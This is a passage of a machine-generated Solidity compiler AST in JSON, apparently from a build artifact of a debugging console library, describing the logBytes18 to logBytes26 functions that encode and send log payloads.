\"log(bytes18)\""},"value":"log(bytes18)"},{"id":24133,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24126,"src":"4533:2:15","typeDescriptions":{"typeIdentifier":"t_bytes18","typeString":"bytes18"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c4d23d9af6458d5ddc7cb8128a2f36bf147c9db4fe277dfe0fe7be41def62116","typeString":"literal_string \"log(bytes18)\""},{"typeIdentifier":"t_bytes18","typeString":"bytes18"}],"expression":{"id":24130,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4493:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24131,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4497:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4493:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24134,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4493:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24129,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"4477:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4477:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24136,"nodeType":"ExpressionStatement","src":"4477:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes18","nameLocation":"4430:10:15","parameters":{"id":24127,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24126,"mutability":"mutable","name":"p0","nameLocation":"4449:2:15","nodeType":"VariableDeclaration","scope":24138,"src":"4441:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes18","typeString":"bytes18"},"typeName":{"id":24125,"name":"bytes18","nodeType":"ElementaryTypeName","src":"4441:7:15","typeDescriptions":{"typeIdentifier":"t_bytes18","typeString":"bytes18"}},"visibility":"internal"}],"src":"4440:12:15"},"returnParameters":{"id":24128,"nodeType":"ParameterList","parameters":[],"src":"4467:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24152,"nodeType":"FunctionDefinition","src":"4550:123:15","nodes":[],"body":{"id":24151,"nodeType":"Block","src":"4596:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313929","id":24146,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4646:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5e6b5a33524ca650028e2fad735b4ab50285bba37658119d2da303bee98aeada","typeString":"literal_string \"log(bytes19)\""},"value":"log(bytes19)"},{"id":24147,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24140,"src":"4662:2:15","typeDescriptions":{"typeIdentifier":"t_bytes19","typeString":"bytes19"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5e6b5a33524ca650028e2fad735b4ab50285bba37658119d2da303bee98aeada","typeString":"literal_string \"log(bytes19)\""},{"typeIdentifier":"t_bytes19","typeString":"bytes19"}],"expression":{"id":24144,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4622:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24145,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4626:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4622:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24148,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4622:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24143,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"4606:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24149,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4606:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24150,"nodeType":"ExpressionStatement","src":"4606:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes19","nameLocation":"4559:10:15","parameters":{"id":24141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24140,"mutability":"mutable","name":"p0","nameLocation":"4578:2:15","nodeType":"VariableDeclaration","scope":24152,"src":"4570:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes19","typeString":"bytes19"},"typeName":{"id":24139,"name":"bytes19","nodeType":"ElementaryTypeName","src":"4570:7:15","typeDescriptions":{"typeIdentifier":"t_bytes19","typeString":"bytes19"}},"visibility":"internal"}],"src":"4569:12:15"},"returnParameters":{"id":24142,"nodeType":"ParameterList","parameters":[],"src":"4596:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24166,"nodeType":"FunctionDefinition","src":"4679:123:15","nodes":[],"body":{"id":24165,"nodeType":"Block","src":"4725:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323029","id":24160,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4775:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5188e3e9b3f117a223e2e428d0e13d089f3a53913e479000b94b85266ecf8231","typeString":"literal_string \"log(bytes20)\""},"value":"log(bytes20)"},{"id":24161,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24154,"src":"4791:2:15","typeDescriptions":{"typeIdentifier":"t_bytes20","typeString":"bytes20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5188e3e9b3f117a223e2e428d0e13d089f3a53913e479000b94b85266ecf8231","typeString":"literal_string \"log(bytes20)\""},{"typeIdentifier":"t_bytes20","typeString":"bytes20"}],"expression":{"id":24158,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4751:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24159,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4755:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4751:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24162,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4751:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24157,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"4735:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24163,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4735:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24164,"nodeType":"ExpressionStatement","src":"4735:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes20","nameLocation":"4688:10:15","parameters":{"id":24155,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24154,"mutability":"mutable","name":"p0","nameLocation":"4707:2:15","nodeType":"VariableDeclaration","scope":24166,"src":"4699:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes20","typeString":"bytes20"},"typeName":{"id":24153,"name":"bytes20","nodeType":"ElementaryTypeName","src":"4699:7:15","typeDescriptions":{"typeIdentifier":"t_bytes20","typeString":"bytes20"}},"visibility":"internal"}],"src":"4698:12:15"},"returnParameters":{"id":24156,"nodeType":"ParameterList","parameters":[],"src":"4725:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24180,"nodeType":"FunctionDefinition","src":"4808:123:15","nodes":[],"body":{"id":24179,"nodeType":"Block","src":"4854:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323129","id":24174,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4904:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e9da35608192a6b38ad5ef62cf738886973b011b8cdb7e81cdd51b4c3dfe8ad7","typeString":"literal_string \"log(bytes21)\""},"value":"log(bytes21)"},{"id":24175,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24168,"src":"4920:2:15","typeDescriptions":{"typeIdentifier":"t_bytes21","typeString":"bytes21"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e9da35608192a6b38ad5ef62cf738886973b011b8cdb7e81cdd51b4c3dfe8ad7","typeString":"literal_string \"log(bytes21)\""},{"typeIdentifier":"t_bytes21","typeString":"bytes21"}],"expression":{"id":24172,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4880:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24173,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4884:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4880:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24176,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4880:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24171,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"4864:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24177,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4864:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24178,"nodeType":"ExpressionStatement","src":"4864:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes21","nameLocation":"4817:10:15","parameters":{"id":24169,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24168,"mutability":"mutable","name":"p0","nameLocation":"4836:2:15","nodeType":"VariableDeclaration","scope":24180,"src":"4828:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes21","typeString":"bytes21"},"typeName":{"id":24167,"name":"bytes21","nodeType":"ElementaryTypeName","src":"4828:7:15","typeDescriptions":{"typeIdentifier":"t_bytes21","typeString":"bytes21"}},"visibility":"internal"}],"src":"4827:12:15"},"returnParameters":{"id":24170,"nodeType":"ParameterList","parameters":[],"src":"4854:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24194,"nodeType":"FunctionDefinition","src":"4937:123:15","nodes":[],"body":{"id":24193,"nodeType":"Block","src":"4983:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323229","id":24188,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5033:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_d5fae89c25bed6f12b105f52db0a0ff6f5c8313613e12eccd3059bb7f7ea6575","typeString":"literal_string \"log(bytes22)\""},"value":"log(bytes22)"},{"id":24189,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24182,"src":"5049:2:15","typeDescriptions":{"typeIdentifier":"t_bytes22","typeString":"bytes22"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d5fae89c25bed6f12b105f52db0a0ff6f5c8313613e12eccd3059bb7f7ea6575","typeString":"literal_string \"log(bytes22)\""},{"typeIdentifier":"t_bytes22","typeString":"bytes22"}],"expression":{"id":24186,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5009:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24187,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5013:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5009:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5009:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24185,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"4993:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24191,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4993:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24192,"nodeType":"ExpressionStatement","src":"4993:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes22","nameLocation":"4946:10:15","parameters":{"id":24183,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24182,"mutability":"mutable","name":"p0","nameLocation":"4965:2:15","nodeType":"VariableDeclaration","scope":24194,"src":"4957:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes22","typeString":"bytes22"},"typeName":{"id":24181,"name":"bytes22","nodeType":"ElementaryTypeName","src":"4957:7:15","typeDescriptions":{"typeIdentifier":"t_bytes22","typeString":"bytes22"}},"visibility":"internal"}],"src":"4956:12:15"},"returnParameters":{"id":24184,"nodeType":"ParameterList","parameters":[],"src":"4983:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24208,"nodeType":"FunctionDefinition","src":"5066:123:15","nodes":[],"body":{"id":24207,"nodeType":"Block","src":"5112:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323329","id":24202,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5162:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_aba1cf0dcd316c862bc06d4cf532375fed11c1e0897ba81a04ee0b22d3f14061","typeString":"literal_string \"log(bytes23)\""},"value":"log(bytes23)"},{"id":24203,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24196,"src":"5178:2:15","typeDescriptions":{"typeIdentifier":"t_bytes23","typeString":"bytes23"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_aba1cf0dcd316c862bc06d4cf532375fed11c1e0897ba81a04ee0b22d3f14061","typeString":"literal_string \"log(bytes23)\""},{"typeIdentifier":"t_bytes23","typeString":"bytes23"}],"expression":{"id":24200,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5138:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24201,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5142:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5138:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5138:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24199,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"5122:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24205,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5122:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24206,"nodeType":"ExpressionStatement","src":"5122:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes23","nameLocation":"5075:10:15","parameters":{"id":24197,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24196,"mutability":"mutable","name":"p0","nameLocation":"5094:2:15","nodeType":"VariableDeclaration","scope":24208,"src":"5086:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes23","typeString":"bytes23"},"typeName":{"id":24195,"name":"bytes23","nodeType":"ElementaryTypeName","src":"5086:7:15","typeDescriptions":{"typeIdentifier":"t_bytes23","typeString":"bytes23"}},"visibility":"internal"}],"src":"5085:12:15"},"returnParameters":{"id":24198,"nodeType":"ParameterList","parameters":[],"src":"5112:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24222,"nodeType":"FunctionDefinition","src":"5195:123:15","nodes":[],"body":{"id":24221,"nodeType":"Block","src":"5241:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323429","id":24216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5291:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f1b35b3488a5452bceb48624d6ba2a791e58f0e9c0f4b86b8f51186ec7a7edf4","typeString":"literal_string \"log(bytes24)\""},"value":"log(bytes24)"},{"id":24217,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24210,"src":"5307:2:15","typeDescriptions":{"typeIdentifier":"t_bytes24","typeString":"bytes24"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f1b35b3488a5452bceb48624d6ba2a791e58f0e9c0f4b86b8f51186ec7a7edf4","typeString":"literal_string \"log(bytes24)\""},{"typeIdentifier":"t_bytes24","typeString":"bytes24"}],"expression":{"id":24214,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5267:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24215,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5271:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5267:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5267:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24213,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"5251:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5251:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24220,"nodeType":"ExpressionStatement","src":"5251:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes24","nameLocation":"5204:10:15","parameters":{"id":24211,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24210,"mutability":"mutable","name":"p0","nameLocation":"5223:2:15","nodeType":"VariableDeclaration","scope":24222,"src":"5215:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes24","typeString":"bytes24"},"typeName":{"id":24209,"name":"bytes24","nodeType":"ElementaryTypeName","src":"5215:7:15","typeDescriptions":{"typeIdentifier":"t_bytes24","typeString":"bytes24"}},"visibility":"internal"}],"src":"5214:12:15"},"returnParameters":{"id":24212,"nodeType":"ParameterList","parameters":[],"src":"5241:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24236,"nodeType":"FunctionDefinition","src":"5324:123:15","nodes":[],"body":{"id":24235,"nodeType":"Block","src":"5370:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323529","id":24230,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5420:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0b84bc580db9be1295ee23dff6122da1f70381c83abf9a74953cca11238eda25","typeString":"literal_string \"log(bytes25)\""},"value":"log(bytes25)"},{"id":24231,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24224,"src":"5436:2:15","typeDescriptions":{"typeIdentifier":"t_bytes25","typeString":"bytes25"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0b84bc580db9be1295ee23dff6122da1f70381c83abf9a74953cca11238eda25","typeString":"literal_string \"log(bytes25)\""},{"typeIdentifier":"t_bytes25","typeString":"bytes25"}],"expression":{"id":24228,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5396:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24229,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5400:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5396:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24232,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5396:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24227,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"5380:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24233,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5380:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24234,"nodeType":"ExpressionStatement","src":"5380:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes25","nameLocation":"5333:10:15","parameters":{"id":24225,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24224,"mutability":"mutable","name":"p0","nameLocation":"5352:2:15","nodeType":"VariableDeclaration","scope":24236,"src":"5344:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes25","typeString":"bytes25"},"typeName":{"id":24223,"name":"bytes25","nodeType":"ElementaryTypeName","src":"5344:7:15","typeDescriptions":{"typeIdentifier":"t_bytes25","typeString":"bytes25"}},"visibility":"internal"}],"src":"5343:12:15"},"returnParameters":{"id":24226,"nodeType":"ParameterList","parameters":[],"src":"5370:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24250,"nodeType":"FunctionDefinition","src":"5453:123:15","nodes":[],"body":{"id":24249,"nodeType":"Block","src":"5499:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323629","id":24244,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5549:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f8b149f18dc341f1a56e26c6c24a5233eec3bbb2ab017e9e86e663aae743965b","typeString":"literal_string \"log(bytes26)\""},"value":"log(bytes26)"},{"id":24245,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24238,"src":"5565:2:15","typeDescriptions":{"typeIdentifier":"t_bytes26","typeString":"bytes26"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f8b149f18dc341f1a56e26c6c24a5233eec3bbb2ab017e9e86e663aae743965b","typeString":"literal_string \"log(bytes26)\""},{"typeIdentifier":"t_bytes26","typeString":"bytes26"}],"expression":{"id":24242,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5525:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24243,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5529:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5525:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24246,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5525:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24241,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"5509:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24247,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5509:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24248,"nodeType":"ExpressionStatement","src":"5509:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes26","nameLocation":"5462:10:15","parameters":{"id":24239,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24238,"mutability":"mutable","name":"p0","nameLocation":"5481:2:15","nodeType":"VariableDeclaration","scope":24250,"src":"5473:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes26","typeString":"bytes26"},"typeName":{"id":24237,"name":"bytes26","nodeType":"ElementaryTypeName","src":"5473:7:15","typeDescriptions":{"typeIdentifier":"t_bytes26","typeString":"bytes26"}},"visibility":"internal"}],"src":"5472:12:15"},"returnParameters":{"id":24240,"nodeType":"ParameterList","parameters":[],"src":"5499:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24264,"nodeType":"FunctionDefinition","src":"5582:123:15","nodes":[],"body":{"id":24263,"nodeType":"Block","src":"5628:77:15","nodes":[],"